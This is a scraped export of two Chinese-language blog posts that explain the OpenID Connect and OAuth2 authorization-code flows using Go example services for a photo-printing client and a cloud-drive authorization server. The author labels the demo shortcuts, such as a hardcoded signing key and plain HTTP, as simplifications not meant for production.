令牌的颁发者，其值就是身份认证服务（OP）的URL，比如：http://open.my-yunpan.com:8081/oauth/token，不包含问号作为前缀的查询参数等。\nsub 令牌的主题标识符，其值是最终用户(EU)在身份认证服务(OP)内部的唯一且永不重新分配的标识符。\naud 令牌的目标受众，其值是Client（RP）的标识，必须包含RP的OAuth 2.0客户端ID(client_id)，也可以包含其他受众的标识符。\nexp 过期时间，过期后ID_TOKEN将会失效。其值是一个JSON number，表示从1970-01-01T0:0:0Z开始（以 UTC 度量）到过期日期/时间为止的秒数。\niat 认证时间，即版本ID_TOKEN的时间，其值是一个JSON number，表示从1970-01-01T0:0:0Z开始（以 UTC 度量）到认证日期/时间为止的秒数。\n注：如果客户端(RP)向身份认证服务器(OP)注册过公钥，则可以使用客户端公钥对该JWT进行非对称签名校验，或者可以使用客户端密钥对该JWT进行对称签名。这种方式可以提高客户端的安全等级，因为可以避免在网络上传递密钥。\n在上面图中使用access_token获取user_info的环节中，RP可以通过ID_TOKEN中的sub（EU唯一标识符）到授权服务器的userinfo端点换取用户的基本信息，这样在RP自己的页面上展示EU的标识时就不可以不用9XDF-AABB-001ACFE这样的唯一标识符(sub)，而是用TonyBai这样的可理解的字符串了。\n注：OpenID Connect使用一个特殊的权限范围值openid来控制对UserInfo端点的访问。OpenID Connect定义了一组标准化的OAuth权限范围，对 应于用户属性的子集，比如profile 、email 、phone 、address等。\n了解了OIDC的身份认证流程以及ID_TOKEN的组成后，我们就算对OIDC有个直观的认知了，接下来我们用一个实例来加深一下对OIDC身份认证的理解。\n2. OIDC实例 如果你理解了《通过实例理解OAuth2》一文中的实例，那么理解本篇文章中的OIDC实例将是轻而易举的事情。前面说过，OIDC建构在OAuth2之上，与OAuth2兼容，因此，这里的OIDC实例也改自OAuth2一文中的实例。\n与OAuth2一文实例相比，OIDC实例中去掉了云盘服务(my-yunpan)，仅保留了下面结构：\n$tree -L 2 -F oidc-examples oidc-examples ├── my-photo-print/ │ ├── go.mod │ ├── go.sum │ ├── home.html │ ├── main.go │ └── profile.html └── open-my-yunpan/ ├── go.mod ├── go.sum ├── main.go └── portal.html 其中my-photo-print是照片冲印服务，也是oidc实例中的RP实体，而open-my-yunpan扮演着云盘授权服务，是oidc实例中的OP实体。在编写和运行服务之前，我们同样要先修改一下本机(MacOS或Linux)的/etc/hosts文件：\n127.0.0.1 my-photo-print.com 127.0.0.1 open.my-yunpan.com 注：在演示下面步骤前，请先进入到oidc-examples的两个目录下，通过go run main.go启动各个服务程序(每个程序一个终端窗口)。\n2.1 用户使用my-photo-print.com照片冲印服务 按照流程，用户首先通过浏览器打开照片冲印服务的首页：http://my-photo-print.com:8080，如下图：\n这与OAuth2一文中的实例并无什么差别，该页面也是由my-photo-print/main.go中的homeHandler提供的，它的home.html渲染模板也基本没有变化，因此这里就不赘述了。\n当用户选择并点击“使用云盘账号登录”时，浏览器将打开云盘授权服务(OP)的首页(http://open.my-yunpan.com:8081/oauth/portal)。\n2.2 使用open.my-yunpan.com进行授权，包括openid权限 云盘授权服务的首页还是“老样子”，唯一的差别就是请求的权限包含了一项openid(有my-photo-print的home.html带过来的)：\n这个页面同样由open.my-yunpan.com的portalHandler提供，它的逻辑与oauth2的实例相比没有变化，这里也罗列其代码了。\n当用户(EU)填写用户名和密码后，点击“授权”，浏览器便会向云盘授权服务的”/oauth/authorize”发起post请求以获取code，负责”/oauth/authorize”端点的authorizeHandler会对用户进行身份认证，通过后，它会分配code并向浏览器返回重定向的应答，重定向的地址就是照片冲印服务的回调地址：http://my-photo-print.com:8080/cb?code=xxx\u0026amp;state=yyy。\n2.3 获取access token以及id_token，并用用户唯一标识获取用户基本信息(profile) 这个重定向相当于用户浏览器向http://my-photo-print.com:8080/cb?code=xxx\u0026amp;state=yyy发起请求，为照片冲印服务提供code，该请求由my-photo-print的oauthCallbackHandler处理：\n// oidc-examples/my-photo-print/main.go // callback handler，用户(EU)拿到code后调用该handler func oauthCallbackHandler(w http.ResponseWriter, r *http.Request) { fmt.Println(\u0026quot;oauthCallbackHandler:\u0026quot;, *r) code := r.FormValue(\u0026quot;code\u0026quot;) state := r.FormValue(\u0026quot;state\u0026quot;) // check state mu.Lock() _, ok := stateCache[state] if !ok { mu.Unlock() fmt.Println(\u0026quot;not found state:\u0026quot;, state) w.WriteHeader(http.StatusBadRequest) return } delete(stateCache, state) mu.Unlock() // fetch access_token and id_token with code accessToken, idToken, err := fetchAccessTokenAndIDToken(code) if err != nil { fmt.Println(\u0026quot;fetch access_token error:\u0026quot;, err) return } fmt.Println(\u0026quot;fetch access_token ok:\u0026quot;, accessToken) // parse id_token mySigningKey := []byte(\u0026quot;iamtonybai\u0026quot;) claims := jwt.RegisteredClaims{} _, err = jwt.ParseWithClaims(idToken, \u0026amp;claims, func(token *jwt.Token) (interface{}, error) { return mySigningKey, nil }) if err != nil { fmt.Println(\u0026quot;parse id_token error:\u0026quot;, err) return } // use access_token and userID to get user info up, err := getUserInfo(accessToken, claims.Subject) if err != nil { fmt.Println(\u0026quot;get user info error:\u0026quot;, err) return } fmt.Println(\u0026quot;get user info ok:\u0026quot;, up) mu.Lock() userProfile[claims.Subject] = up mu.Unlock() // 设置cookie cookie := http.Cookie{ Name: \u0026quot;my-photo-print.com-session\u0026quot;, Value: claims.Subject, Domain: \u0026quot;my-photo-print.com\u0026quot;, Path: \u0026quot;/profile\u0026quot;, } http.SetCookie(w, \u0026amp;cookie) w.Header().Add(\u0026quot;Location\u0026quot;, \u0026quot;/profile\u0026quot;) w.WriteHeader(http.StatusFound) // redirect to /profile } 这个handler中做了很多工作。首先是使用code像授权服务器换取access token和id_token，授权服务器负责颁发token的是tokenHandler：\n// oidc-examples/open-yunpan/main.go func tokenHandler(w http.ResponseWriter, r *http.Request) { fmt.Println(\u0026quot;tokenHandler:\u0026quot;, *r) // check client_id and client_secret user, password, ok := r.BasicAuth() if !ok { fmt.Println(\u0026quot;no authorization header\u0026quot;) w.WriteHeader(http.StatusNonAuthoritativeInfo) return } mu.Lock() v, ok := validClients[user] if !ok { fmt.Println(\u0026quot;not found user:\u0026quot;, user) mu.Unlock() w.WriteHeader(http.StatusNonAuthoritativeInfo) return } mu.Unlock() if v != password { fmt.Println(\u0026quot;invalid password\u0026quot;) w.WriteHeader(http.StatusNonAuthoritativeInfo) return } // check code and redirect_uri code := r.FormValue(\u0026quot;code\u0026quot;) redirect_uri := r.FormValue(\u0026quot;redirect_uri\u0026quot;) mu.Lock() ac, ok := codeCache[code] if !ok { fmt.Println(\u0026quot;not found code:\u0026quot;, code) mu.Unlock() w.WriteHeader(http.StatusNotFound) return } mu.Unlock() if ac.redirectURI != redirect_uri { fmt.Println(\u0026quot;invalid redirect_uri:\u0026quot;, redirect_uri) w.WriteHeader(http.StatusBadRequest) return } var authResponse struct { AccessToken string `json:\u0026quot;access_token\u0026quot;` IDToken string `json:\u0026quot;id_token,omitempty\u0026quot;` ExpireIn int `json:\u0026quot;expires_in\u0026quot;` } // generate access_token authResponse.AccessToken = randString(16) authResponse.ExpireIn = 3600 now := time.Now() expired := now.Add(10 * time.Minute) claims := jwt.RegisteredClaims{ Issuer: \u0026quot;http://open.my-yunpan.com:8091/oauth/token\u0026quot;, Subject: ac.userID, Audience: jwt.ClaimStrings{user}, //client_id IssuedAt: \u0026amp;jwt.NumericDate{now}, ExpiresAt: \u0026amp;jwt.NumericDate{expired}, } if strings.Contains(ac.scopeTxt, \u0026quot;openid\u0026quot;) { // generate id_token if contains openid mySigningKey := []byte(\u0026quot;iamtonybai\u0026quot;) jwtToken := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) authResponse.IDToken, _ = jwtToken.SignedString(mySigningKey) } respData, _ := json.Marshal(\u0026amp;authResponse) w.Write(respData) } 我们看到tokenHandler先是对客户端(client)凭据做了校验，接下来验证code，如果code通过验证，则会分配access_token，并根据scope中是否包含openid决定是否分配id_token，这里我们的权限授权中包含了openid，于是tokenHandler将id_token(一个jwt)一并生成并返回给client。\n而拿到access_token和id_token的my-photo-print的oauthCallbackHandler会解析id_token，提取其中的有效信息，比如subject等，并用access_token和id_token中的subject(用户的唯一ID)去授权服务获取用户(EU)的基础身份信息(姓名、主页、邮箱等)，并将用户的唯一ID作为cookie存入用户的浏览器。最后让浏览器重定向到my-photo-print的profile页面。\n请注意：这里仅是为了简便起见，生产环境请考虑更为安全的会话机制。\nprofile页面的处理函数为profileHandler：\n// oidc-examples/my-photo-print/main.go // user profile页面 func profileHandler(w http.ResponseWriter, r *http.Request) { fmt.Println(\u0026quot;profileHandler:\u0026quot;, *r) cookie, err := r.Cookie(\u0026quot;my-photo-print.com-session\u0026quot;) if err != nil { http.Error(w, \u0026quot;找不到cookie，请重新登录\u0026quot;, 401) return } fmt.Printf(\u0026quot;found cookie: %#v\\n\u0026quot;, cookie) mu.Lock() pf, ok := userProfile[cookie.Value] if !ok { mu.Unlock() fmt.Println(\u0026quot;not found user:\u0026quot;, cookie.Value) // 跳转到首页 http.Redirect(w, r, \u0026quot;/\u0026quot;, http.StatusSeeOther) return } mu.Unlock() // 渲染照片页面模板 tmpl := template.Must(template.ParseFiles(\u0026quot;profile.html\u0026quot;)) tmpl.Execute(w, pf) } 我们看到：该handler首先查找cookie中是否存在用户ID，如果不存在，则重定向到登录页面，如果存在，则取出用户唯一ID，并使用该ID查找用户profile信息，最后展示到web页面上：\n到这里，我们看到：这种委托云盘授权服务对my-photo-print的用户进行身份认证并拿到该用户基本信息的机制，就是oidc。\n注：一旦拿到云盘授权服务身份认证后的用户信息，RP便可以使用各种身份认证机制来管理EU用户，比如RP可以使用会话管理技术（例如使用会话标识符或浏览器cookie）来跟踪EU的会话状态。如果EU在同一会话期间访问RP应用，RP可以通过会话标识符来识别EU，而无需再次进行身份验证。\n3. 小结 通过上面的内容，我们对OpenID Connect(OIDC)有了更直观的理解，这里做一个小结:\nOIDC是一套身份认证的开放标准协议，基于OAuth 2.0构建，与OAuth 2.0兼容。 OIDC协议中主要涉及三个角色：RP(依赖方)、OP(身份提供方)、EU(最终用户)。 EU通过RP使用OP进行身份认证后，RP可以获得EU的身份信息。整个流程与OAuth 2.0的授权码流程高度相似。 关键的差别在于：OP返回的token中除了access_token外，还包含一个ID_TOKEN(JWT格式)。 RP通过解析ID_TOKEN可以获得EU的唯一标识等信息，并通过access_token进一步获取EU的详细身份信息。 RP获得EU身份信息后，可以通过各种机制识别和管理EU，无需EU重复身份验证。 总的来说，OIDC利用OAuth 2.0流程进行身份认证，通过额外返回的ID_TOKEN提供EU身份信息，很好地满足了RP对EU身份管理的需求。\n文本涉及的源码可以在这里下载。\n4. 参考资料 OIDC(OpenID Connect) Specification - https://openid.net/specs/openid-connect-core-1_0.html 利用OAuth 2.0实现一个OpenID Connect用户身份认证协议 - https://time.geekbang.org/column/article/262672 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) - https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 - https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/12/22/understand-oidc-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-oidc-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/12/22/understand-oidc-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/12/22/understand-oidc-by-example\"\u003ehttps://tonybai.com/2023/12/22/understand-oidc-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在《\u003ca href=\"https://tonybai.com/2023/12/16/understand-oauth2-by-example\"\u003e通过实例理解OAuth2\u003c/a\u003e》一文中，我们以实例方式讲解了OAuth2授权码模式(Authorization Code)模式的工作原理。实例中的照片冲印服务经过用户(tonybai)的授权后，使用用户提供的code(实则是由授权服务器分配并通过用户的浏览器重定向到照片冲印服务的)到授权服务器换取了access token，并最终使用access token从云盘系统中读取到了用户的照片信息。\u003c/p\u003e","title":"通过实例理解OpenID身份认证"},{"content":"\n本文永久链接 – https://tonybai.com/2023/12/16/understand-oauth2-by-example\n在之前的《通过实例理解Go Web身份认证的几种方式》和《通过实例理解Web应用授权的几种方式》两篇文章中，我们对Web应用身份认证(AuthN)和授权(AuthZ)的几种方式做了介绍并配以实例增强理解。\n在现实世界中，还有一大类的认证与授权是在前面的文章中没有作为重点介绍的，那就是OAuth2授权与基于OAuth2之上的OpenID身份认证(OIDC, OpenID Connect)。\n近期接触到开放平台(Open Platform)的设计和开发，整个开放平台的授权流程都是基于OAuth2打造的，因此在这篇文章中，我就来先来通过实例详细说说OAuth2，OIDC将放在后面的文章中说明。\n1. OAuth是什么 OAuth中的O代表了Open，OAuth直译过来就是开放授权。OAuth是一个开放标准，允许用户让第三方应用访问该用户在某一网站上存储的私密的资源（如照片，视频，联系人列表等），而无需将用户名和密码提供给第三方应用。\nOAuth不是什么新技术了，其原型最早可追溯至2006年末，至今也快小20年了。但直到2010年4月，OAuth 1.0协议才以RFC 5849的形式正式发布。不过OAuth 1.0版本存在两个主要问题，一是当初设计时仅是为了web浏览器应用，随着应用类型的增多，一套授权机制难以应对现实中的所有场景，比如：Web应用场景、移动App应用场景、官方应用场景等，因为这些场景不是完全相同的，这给使用者带去很多负面体验；二是一些安全性的问题(这里就不展开了)。\n2012年10月，解决OAuth 1.0上述问题的OAuth 2.0以RFC 6749发布。OAuth 2.0是OAuth协议的下一版本，但不向后兼容OAuth 1.0。OAuth 2.0关注客户端开发者的简易性，同时为Web应用、桌面应用、手机和智能设备定义了专门的授权许可流程，包括：授权码许可机制(Authorization Code)、客户端凭据机制(Client Credentials)、资源拥有者凭据机制(Resource Owner Password Credentials)和隐式许可机制(Implicit)。如今OAuth 1.0已经被废弃，谈到OAuth如无特殊说明，指的都是OAuth2.0版本。\n在OAuth2.0的四种授权类型中，最安全的、最广泛使用的也是最常见的就是授权码许可机制(Authorization Code)了。本文后续的说明与示例也都是围绕授权码这种类型的。\n2. OAuth2解决了什么问题 仅仅凭借上面关于OAuth的描述，你可能依然无法对OAuth有一个直观和深刻的理解，笔者第一次接触OAuth协议时也是花了不少时间才逐渐“茅塞顿开”，当然本文参考资料中的那些书籍和资料“功不可没”，尤其是OAuth 2.0的RFC协议规范。\n那么OAuth到底解决的是什么问题？这里我们就用一个非常典型的示例来系统说说一下。\n2.1 传统的云盘系统 现在有一个像百度网盘那样的云盘系统(my-yunpan.com)，用户可以注册云盘系统的账号，然后将自己的个人数据文件，比如照片、音视频、文档等上传到云盘上保存。\n假设这里有一个名为tonybai的用户注册了云盘，并将个人的一些照片文件上传到云盘上做保存和备份：\n这是一个我们都可以理解的场景，用户注册云盘账号，然后登录云盘应用后将个人照片上传到云盘，这里使用的身份认证和授权技术方案没有超出《通过实例理解Go Web身份认证的几种方式》和《通过实例理解Web应用授权的几种方式》两篇文章的范畴。\n针对这个场景，OAuth定义了三个很容易理解的概念实体：\nResource Server：集中存储资源(如用户照片等)的服务，这个示例里就是云盘服务； Resource owner：资源的拥有者，这里就是云盘的用户，比如图中的tonybai； Protected Resource：Resource owner上传并存储在Resource Server中的Resource，受Resource Server保护，这里对应的就是用户上传的照片。 大家先对这三个概念实体有个感性的认识即可，后续备用。\n2.2 第三方的照片冲印服务 智能手机时代，数字照片(Digital Photo)将传统的基于胶卷的照片彻底拉下神坛。数字照片是存储在磁盘、手机中或云盘上的，但依然有很多人有将数字照片像传统照片那样冲印出来放在相册里或房间照片墙上欣赏的需求，于是就有了在线照片冲印服务(my-photo-print.com)。\n用户注册在线照片冲印服务后，将自己的数字照片上传，交钱冲印即可，冲印好的照片便会经由快递送至用户家中，非常方便。\n2.3 Resource Owner要冲印照片 有一天，云盘用户tonybai要挑选一些近期存储在云盘中的照片进行冲印，他搜索到了my-photo-print.com这个第三方的照片冲印服务，但他需要在my-photo-print.com这个应用上重新注册一个账号，再将云盘上的照片下载后重新上传到my-photo-print.com这个服务的空间中才能实现在线冲印。这对于大多数像tonybai这样的用户而言并不是一个很easy的操作，体验上也是糟糕。tonybai在思考：我的照片已经在云盘上了，为什么不可以直接基于云盘上的照片进行冲印呢？\n2.4 增加开放平台(open.my-yunpan.com) 在tonybai萌生出这个困惑的同时，云盘的产品经理也同步感知到了这个需求，是时候给云盘系统增加开放平台了！这样，第三方应用便可以接入云盘系统，方便快捷地为云盘用户提供各种扩展服务，比如照片冲印、云上视听、数据智能管理等，这也是互联网界熟知的生态建设的套路。\n下面是照片冲印服务my-photo-print.com注册和接入开放平台的示意图：\n照片冲印服务my-photo-print.com注册和接入云盘开放平台后，会得到一个client_id和client_secret，这两个字段是照片冲印服务接入云盘开放平台的凭据，即云盘开放平台对第三方应用进行身份认证的凭据。\n不过即使照片冲印服务使用client_id和client_secret这个凭据通过了云盘系统的认证，照片冲印服务依然拿不到云盘系统上用户的照片数据，这里需要一个授权过程，即云盘系统用户(如前文提及的tonybai)告诉云盘系统是否允许照片冲印服务访问自己的数据。\n那么问题来了！如何实现云盘系统用户对已接入云盘系统的第三方应用的授权呢？下面我们就来探讨一下。\n注：这里显然是打了个伏笔，一旦云盘系统建立了开放平台，那么云盘系统的用户对第三方应用的授权流程也就由开放平台规定好了。\n2.5 云盘系统用户对第三方应用进行授权的方案 2.5.1 凭据共享方案 一个最简单粗暴的方案就是直接用云盘系统用户的凭据代替用户去云盘系统读取该用户的数据，下面是该方案的示意图：\n我们看到：照片打印服务想要获取用户的照片，它首先会提示用户输入其云盘系统上的用户名和密码，然后就会拿着用户的这些凭据合法地进入到该用户在云盘系统中的个人空间并拿到想要的数据。这也意味着用户在云盘系统上可以进行的任何操作，照片打印服务也都有权限进行。此外，一旦用户在多个网站应用上使用的是相同的用户名和密码，那么照片打印服务也可以通过拿到的凭据登录这些网站，并“假扮”用户获得这些网站上的用户数据。这种通过凭据共享来实现第三方应用访问云盘上的用户数据的方案显然是毫无安全底线可言。\n2.5.2 专用密码方案 现在你已经看到，共享用户密码并不是一个好方法，那会授予照片打印服务全局的访问权限，它就能代表由它指定的任何用户并访问云盘系统上的所有照片。那是否可以授予照片打印服务一个权限有限的专用密码来实现照片获取呢？此密码仅用于透露给第三方服务，用户自己并不会使用这个密码来登录，只是将它粘贴到所使用的第三方应用里(如下图)：\n这是一个可行的方案，但这种方案的可用性并不好。它要求用户除了管理自己的主登录密码之外，还要创建(在云盘系统中)、分发(贴到照片打印服务系统中)和管理特殊的凭据。并且，用户管理这些凭据时一般不会区分专用凭据与第三方应用的对应关系，往往是建立一个新专用凭据后，贴到所有第三方应用中使用，这使得撤销某个具体第三方应用的访问权限变得很困难。让用户科学管理这些凭据，本身就给用户带来了心智负担，也可理解为一种不好的体验。\n不过，相对于凭据共享方案的不安全，专用密码方案已经是有所进步了，但还远非理想。\n2.6 OAuth2授权方案 前面无论是共享凭据还是专用密码方案，都绕开了开放平台，这显然是故意为最终理想方案的出炉做铺垫的 — 没有差方案，如何才能体现出理想方案的好呢！– 是时候叫出超级飞侠了！。\n这就是我们提到的OAuth2授权方案。OAuth协议的设计目的是：让用户(Resource owner，比如tonybai)通过OAuth协议将他们在受保护资源(Protected Resource，比如照片)上的部分权限委托给第三方应用(比如照片冲印服务)，使第三方应用能代表他们执行操作。这个方案既要考虑提升用户的使用体验，也要考虑提升方案整体的安全性。为实现这些，OAuth在流程中引入了另外一个组件：授权服务器（Authorization Server)。\n如果我们将第三方应用(比如照片冲印服务)称为client(客户端应用)，加上授权服务器（Authorization Server)以及前面提到的三个概念：Resource Server、Resource owner和Protected Resource，我们就有了5个实体。他们究竟是什么关系呢，又是如何交互的呢？这就是OAuth2.0协议的核心内容。下图是来自OAuth2.0 RFC中的抽象协议流程图，为了好理解，我在图中加入了各个实体对应的示例中的名字：\n这是一个抽象图，我们无法从中看出各个流程的细节，但大致可以看出OAuth2授权的关键环节：\nclient(客户端应用，如照片冲印服务)需要用户(Resource owner)的授权，但这个授权过程，用户不会将密码等凭据暴露给client； client凭借授权信息到授权服务器(Authorization server)换取access token； client凭借access token访问用户(Resource owner)在Resource Server(比如云盘系统)上的Resource数据(比如照片)。 接下来，我们来看看细节，我们使用OAuth2中最广泛使用的授权码方案(Authorization code)来展示这个流程，下面是来自OAuth2.0 RFC中的授权码方案流程图：\n这个流程图依然很抽象，我们用下面的“分解动作”来解释。\n2.6.1 用户(Resource Owner)通过浏览器访问第三方应用(Client，my-photo-print.com) 用户要想使用第三方应用，比如my-photo-print.com服务来冲印自己位于云盘上的照片，他首先要访问到这个第三方应用，如下图所示：\n用户通过浏览器(User Agent)打开my-photo-print.com服务的登录页面，这个页面除了提供使用用户名/密码登录之外，还提供了“使用云盘账号”的按钮。该用户不想重新注册一遍my-photo-print.com服务的账号，选择了点击“使用云盘账号”按钮。\n2.6.2 用户(Resource Owner)被引导到云盘开放平台登录并对第三方应用进行授权 当用户点击“使用云盘账号”按钮后，对第三方应用进行授权过程便正式开始，下面是一个示意图：\nOAuth2.0的授权码模式的第一步便是第三方应用(Client)需要将用户(Resource Owner)引导到云盘开放平台(Authorization Server)的登录页面(/oauth/portal)，为用户授权做好准备。在图中第三方应用my-photo-print.com通过网页html内重定向让用户的浏览器(User Agent)重定向到云盘开放平台的授权门户页面，在重定向的请求中，Client带上了自己的一些参数(比如client_id、scope等)。\n云盘开放平台(Authorization Server)返回一个用户登录页面，用户(tonybai)输入用户名密码以供Authorization Server做身份认证。注意这个过程完全没有client(照片冲印服务)的参与，用户名和密码不会泄露给第三方。\n当用户(如tonybai)点击submit提交凭据信息时，可以向服务端请求，也可以像图中简化版那样直接给出授权范围的提示。弹出的框提示“照片冲印服务需要用户授予两个权限”，如果用户点击“授权”，则会向Authorization Server发起授权请求，连同用户的登录凭据一起，授权请求的路径与参数如下(也可以使用表单提交的方式提交授权请求)：\n/oauth/authorize?response_type=code\u0026amp;client_id=my-photo-print\u0026amp;state=xyz123\u0026amp;scope=user_info,read_photos\u0026amp;redirect_uri=http%3A%2F%2Fmy-phone-print.com%3A8080%2Foauth%2Fcb response_type=code表示用户向授权平台请求一个授权码，再强调一下：这个授权码是用户(如tonybai)去申请的，而不是client(第三方应用)，后续也是由用户将code告知client(第三方应用)。\ncilent_id表示为哪个第三方应用申请的，后续授权平台在发access_token时，可以基于该client_id进行校验。\nscope是此次授权的权限列表。\nredirect_uri是一个重定向地址，这个地址可以在请求中传递，如果不传递，也可以在client注册开放平台账号时，提供给开放平台(Authorization Server)。\nstate是一个随机数，OAuth 2.0官方建议使用state以避免CSRF攻击。\n2.6.3 用户提供code，client用code换取access_token并读取用户数据 如果Authorization Server通过了用户的请求，便会在应答中带上这次分配给用户的授权码(code)，这个授权码是一次性的，一旦使用便会作废，当然Code也会有时效性，一般就是几分钟。\n我们继续看下面图示的分解动作吧：\n首先，Authorization Server对用户的请求校验通过后，便会分配授权码，并通过下面这个应答返回给用户(浏览器)：\nHTTP/1.1 302 Found Location: http://my-phone-print.com:8080/oauth/cb?code=SplxlOBeZQQYbYS6WxSbIA\u0026amp;state=xyz123 用户的浏览器收到这个应答后便会重定向到Location这个地址，这个过程其实是在模拟用户向Client(照片冲印服务)提供code的行为。\n当Client(照片冲印服务)收到收到用户的code后，它会立即使用这个Code并结合自己的凭据(client_id和client_secert)向Authorization Server申请access_token：\nPOST /oauth/token HTTP/1.1 Host: open.my-yunpan.com:8081 Authorization: Basic base64(client_id:client_secret) Content-Type: application/x-www-form-urlencoded grant_type=authorization_code\u0026amp;code=SplxlOBeZQQYbYS6WxSbIA\u0026amp;redirect_uri=http%3A%2F%2Fmy-phone-print.com%3A8080%2Foauth%2Fcb 这是一个client发向Authorization Server的POST请求，请求参数中，除了固定的grant_type=authorization_code以及code之外，还带了redirect_uri，这个redirect_uri是供Authorization Server校验使用的。此外这个请求是以Client身份申请的，所以在http header中带上了client自己的凭据信息：client_id和client_secert，这里使用的是http basic auth。\nAuthorization Server对请求验证通过后，便会给出Post应答，access_token等信息都放在应答的包体中：\n{ \u0026quot;access_token\u0026quot;:\u0026quot;2YotnFZFEjr1zCsicMWpAA\u0026quot;, \u0026quot;token_type\u0026quot;:\u0026quot;example\u0026quot;, \u0026quot;expires_in\u0026quot;:3600, \u0026quot;refresh_token\u0026quot;:\u0026quot;tGzv3JOkF0XG5Qx2TlKWIA\u0026quot;, \u0026quot;example_parameter\u0026quot;:\u0026quot;example_value\u0026quot; } 这里除了包含access_token，还包含了它的过期时间(expires_in)以及一个refresh_token，client可以使用refresh_token在access_token过期前换取一个新的access_token。但从安全角度考虑，client不能无限制的换取新token，所以refresh_token也会被过期时间。一旦refresh_token过期了，那么client就要重新发起一次用户授权过程。\n当client收到access_token后，便可以拿着这个access_token到Resource Server(这里是my-yunpan.com)去获取用户(tonybai)的个人资料与照片数据了：\nPOST /photos HTTP/1.1 Host: my-yunpan.com:8082 method=listall\u0026amp;access_token=2YotnFZFEjr1zCsicMWpAA my-yunpan.com验证access_token后，便会将tonybai的照片列表返回给client，然后client会返回重定向应答给用户的浏览器。用户浏览器收到重定向应答后，便会向client(照片冲印服务)的/photos端点发起请求，之后便可以在浏览器上看到自己的照片列表了。用户选择要冲印的照片后，创建订单冲印即可。\n从用户提交code给client，到用户浏览器显示照片列表，这中间用户可能会有短暂的等待，毕竟client要与Authorization Server和Resource server进行多次交互，用户浏览器也要进行重定向操作。\n现在将“分解动作”与OAuth2.0 RFC中的授权码方案流程图结合在一起看，你将会对OAuth有更深刻的理解。\n注：OAuth2授权流程原则上是要建立在HTTPS建立的安全通道之上的，这里仅是示例，我们聚焦的是OAuth2流程，所以将使用HTTP进行展示。\n3. 示例的具体实现 下面我们用Go语言编写一个可以简单演示OAuth2.0授权流程的示例，该示例与上面描述的OAuth2的“分解动作”基本是可以对应起来的。\n示例由三个服务构成：my-photo-print照片冲印服务、my-yunpan云盘服务以及open-my-yunpan云盘开放平台/授权服务，示例对应的目录结构如下：\n$tree -L 1 -F oauth2-examples oauth2-examples ├── my-photo-print/ ├── my-yunpan/ └── open-my-yunpan/ 在开始编写服务前，我们需要修改一下本机(MacOS或Linux)的/etc/hosts文件：\n127.0.0.1 my-photo-print.com 127.0.0.1 my-yunpan.com 127.0.0.1 open.my-yunpan.com 注：由于示例中较少使用到js，且form action的地址也是同源的，并且通过重定向来跳转，所以基本不涉及到跨域问题。\n注：在演示下面步骤前，请先进入到oauth2-examples的各个目录下，通过go run main.go启动各个服务程序(每个程序一个终端窗口)。\n3.1 用户使用my-photo-print.com照片冲印服务 按照流程，用户首先通过浏览器打开照片冲印服务的首页：http://my-photo-print.com:8080，如下图：\n这个页面是由homeHandler提供的：\n// oauth2-examples/my-photo-print/main.go // 照片冲印主页，引导用户去授权平台 func homeHandler(w http.ResponseWriter, r *http.Request) { fmt.Println(\u0026quot;homeHandler:\u0026quot;, *r) // 渲染首页页面模板 var state = randString(6) mu.Lock() stateCache[state] = struct{}{} mu.Unlock() tmpl := template.Must(template.ParseFiles(\u0026quot;home.html\u0026quot;)) data := map[string]interface{}{ \u0026quot;State\u0026quot;: state, } tmpl.Execute(w, data) } 这里我们使用了服务端模板渲染，并将渲染的结果作为应答发给浏览器，home.html模板的内容如下：\n// oauth2-examples/my-photo-print/home.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;照片冲印服务\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h3\u0026gt;欢迎使用照片冲印服务!\u0026lt;/h3\u0026gt; \u0026lt;div\u0026gt; 用户名: \u0026lt;input name=\u0026quot;username\u0026quot;/\u0026gt; 密码: \u0026lt;input name=\u0026quot;password\u0026quot; type=\u0026quot;password\u0026quot;/\u0026gt; \u0026lt;button\u0026gt;登录\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;button id=\u0026quot;auth-btn\u0026quot;\u0026gt;使用云盘账号登录\u0026lt;/button\u0026gt; \u0026lt;script\u0026gt; var authBtn = document.getElementById('auth-btn'); authBtn.addEventListener('click', function() { var clientId = 'my-photo-print'; var scope = 'user_info,read_photos'; var state = '{{.State}}'; var url = 'http://open.my-yunpan.com:8081/oauth/portal?client_id=' + clientId + '\u0026amp;scope=' + scope+'\u0026amp;state=' + state + '\u0026amp;redirect_uri=http%3A%2F%2Fmy-photo-print.com%3A8080%2Foauth%2Fcb' window.location.href = url; }) \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 当用户选择并点击“使用云盘账号登录”时，浏览器将打开云盘开放平台/授权服务的首页(http://open.my-yunpan.com:8081/oauth/portal)。\n3.2 使用open.my-yunpan.com进行授权 下面是云盘开放平台/授权服务的首页：\n这个页面由open.my-yunpan.com的portalHandler提供：\n// oauth2-examples/open-my-yunpan/main.go func portalHandler(w http.ResponseWriter, r *http.Request) { 